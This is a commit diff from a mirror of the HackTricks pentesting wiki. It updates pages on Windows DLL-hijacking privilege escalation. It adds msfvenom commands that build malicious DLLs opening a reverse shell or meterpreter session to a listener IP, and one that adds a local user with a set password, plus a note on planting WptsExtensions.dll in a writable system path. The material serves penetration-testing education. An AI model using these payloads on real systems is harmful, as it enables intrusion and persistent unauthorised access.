Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 21:53:54 +00:00
Code Issues Projects Releases Packages Wiki Activity

GITBOOK-3807: No subject

Browse source
This commit is contained in:
CPol 2023-03-04 19:52:31 +00:00 committed by gitbook-bot
parent 3a122edb7d
commit 67eed9483b
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
2 changed files with 9 additions and 3 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

10
windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
View file

@ -140,13 +140,19 @@ With the tool **** [**DLLirant**](https://github.com/redteamsocietegenerale/DLLi
### **Meterpreter**
**Get a reverse shell:**
**Get rev shell (x64):**
```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**Get a meterpreter (x86):**
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**Create a user:**
**Create a user (x86 I didn't see a x64 version):**
```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

2
windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
View file

@ -88,7 +88,7 @@ However, that user has the **`seImpersonate`** privilege, so you can use the[ **
At the moment of writing the **Task Scheduler** service is run with **Nt AUTHORITY\SYSTEM**.
Having **generated the malicious Dll**, save it in the writable System Path with the name **WptsExtensions.dll** and **restart** the computer (or restart the service or do whatever it takes to rerun the affected service/program).
Having **generated the malicious Dll** (in my case I used x64 rev shell and I got a shell back), save it in the writable System Path with the name **WptsExtensions.dll** and **restart** the computer (or restart the service or do whatever it takes to rerun the affected service/program).
When the service is re-started, the **dll should be loaded and executed** (you can **reuse** the **procmon** trick to check if the **library was loaded as expected**).